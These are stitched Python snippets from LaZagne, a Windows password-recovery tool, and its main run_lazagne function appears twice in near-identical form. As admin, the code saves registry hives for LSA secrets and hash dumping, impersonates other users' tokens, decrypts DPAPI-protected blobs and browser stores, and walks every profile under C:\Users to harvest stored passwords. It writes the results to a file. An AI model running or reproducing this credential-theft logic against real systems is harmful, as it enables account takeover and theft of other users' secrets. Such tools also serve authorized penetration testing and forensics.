def write_header(self): time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) try: hostname = socket.gethostname().decode(sys.getfilesystemencoding()) except AttributeError: hostname = socket.gethostname() header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( banner=self.banner.replace('\n', '\r\n'), date=str(time), username=get_username_winapi(), hostname=hostname ) with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f: f.write(header.encode())
def run_lazagne(category_selected='all', subcategories={}, password=None): """ Execution Workflow: - If admin: - Execute system modules to retrieve LSA Secrets and user passwords if possible - These secret could be useful for further decryption (e.g Wifi) - If a process of another user is launched try to impersone it (impersonating his token) - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques - From our user: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) To resume: - Some passwords (e.g Firefox) could be retrieved from any other user - CryptUnprotectData can be called only from our current session - DPAPI Blob can decrypted only if we have the password or the hash of the user """ # Useful if this function is called from another tool if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() # --------- Execute System modules --------- if ctypes.windll.shell32.IsUserAnAdmin() != 0: if save_hives(): # System modules (hashdump, lsa secrets, etc.) constant.username = '******' constant.finalResults = {'User': constant.username} constant.system_dpapi = SystemDpapi() if logging.getLogger().isEnabledFor(logging.INFO): constant.st.print_user(constant.username) yield 'User', constant.username try: for r in run_category(category_selected, subcategories, system_module=True): yield r except: # Catch all kind of exceptions pass finally: delete_hives() constant.stdout_result.append(constant.finalResults) # ------ Part used for user impersonation ------ constant.is_current_user = True # constant.username = getpass.getuser().decode(sys.getfilesystemencoding()) constant.username = get_username_winapi() if not constant.username.endswith('$'): constant.finalResults = {'User': constant.username} constant.st.print_user(constant.username) yield 'User', constant.username set_env_variables(user=constant.username) for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: # --------- Impersonation using tokens --------- sids = list_sids() impersonate_users = {} impersonated_user = [constant.username] for sid in sids: # Not save the current user's SIDs and not impersonate system user if constant.username != sid[3] and sid[2] != 'S-1-5-18': impersonate_users.setdefault(sid[3], []).append(sid[2]) for user in impersonate_users: if 'service' in user.lower().strip(): continue # Do not impersonate the same user twice if user in impersonated_user: continue constant.st.print_user(user) yield 'User', user constant.finalResults = {'User': user} for sid in impersonate_users[user]: try: set_env_variables(user, to_impersonate=True) if impersonate_sid_long_handle(sid, close=False): impersonated_user.append(user) # Launch module wanted for r in run_category(category_selected, subcategories): yield r rev2self() constant.stdout_result.append(constant.finalResults) break except Exception: print_debug('DEBUG', traceback.format_exc()) # --------- Impersonation browsing file system --------- constant.is_current_user = False # Ready to check for all users remaining all_users = get_user_list_on_filesystem(impersonated_user=[constant.username]) for user in all_users: # Fix value by default for user environment (APPDATA and USERPROFILE) set_env_variables(user, to_impersonate=True) constant.st.print_user(user) constant.username = user constant.finalResults = {'User': user} yield 'User', user # Retrieve passwords that need high privileges for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults)
def run_lazagne(category_selected='all', subcategories={}, password=None): """ Execution Workflow: - If admin: - Execute system modules to retrieve LSA Secrets and user passwords if possible - These secret could be useful for further decryption (e.g Wifi) - If a process of another user is launched try to impersone it (impersonating his token) - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques - From our user: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) To resume: - Some passwords (e.g Firefox) could be retrieved from any other user - CryptUnprotectData can be called only from our current session - DPAPI Blob can decrypted only if we have the password or the hash of the user """ # Useful if this function is called from another tool if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() # --------- Execute System modules --------- if ctypes.windll.shell32.IsUserAnAdmin() != 0: if save_hives(): # System modules (hashdump, lsa secrets, etc.) constant.username = '******' constant.finalResults = {'User': constant.username} constant.system_dpapi = SystemDpapi() if logging.getLogger().isEnabledFor(logging.INFO): constant.st.print_user(constant.username) yield 'User', constant.username try: for r in run_category(category_selected, subcategories, system_module=True): yield r except: # Catch all kind of exceptions pass finally: delete_hives() constant.stdout_result.append(constant.finalResults) # ------ Part used for user impersonation ------ constant.is_current_user = True constant.username = get_username_winapi() if not constant.username.endswith('$'): constant.finalResults = {'User': constant.username} constant.st.print_user(constant.username) yield 'User', constant.username set_env_variables(user=constant.username) for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: # --------- Impersonation using tokens --------- sids = list_sids() impersonate_users = {} impersonated_user = [constant.username] for sid in sids: # Not save the current user's SIDs and not impersonate system user if constant.username != sid[3] and sid[2] != 'S-1-5-18': impersonate_users.setdefault(sid[3], []).append(sid[2]) for user in impersonate_users: if 'service' in user.lower().strip(): continue # Do not impersonate the same user twice if user in impersonated_user: continue constant.st.print_user(user) yield 'User', user constant.finalResults = {'User': user} for sid in impersonate_users[user]: try: set_env_variables(user, to_impersonate=True) if impersonate_sid_long_handle(sid, close=False): impersonated_user.append(user) # Launch module wanted for r in run_category(category_selected, subcategories): yield r rev2self() constant.stdout_result.append(constant.finalResults) break except Exception: print_debug('DEBUG', traceback.format_exc()) # --------- Impersonation browsing file system --------- constant.is_current_user = False # Ready to check for all users remaining all_users = get_user_list_on_filesystem( impersonated_user=[constant.username]) for user in all_users: # Fix value by default for user environment (APPDATA and USERPROFILE) set_env_variables(user, to_impersonate=True) constant.st.print_user(user) constant.username = user constant.finalResults = {'User': user} yield 'User', user # Retrieve passwords that need high privileges for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults)
def __init__(self): ModuleInfo.__init__(self, 'windows', 'windows') self.current_user = get_username_winapi()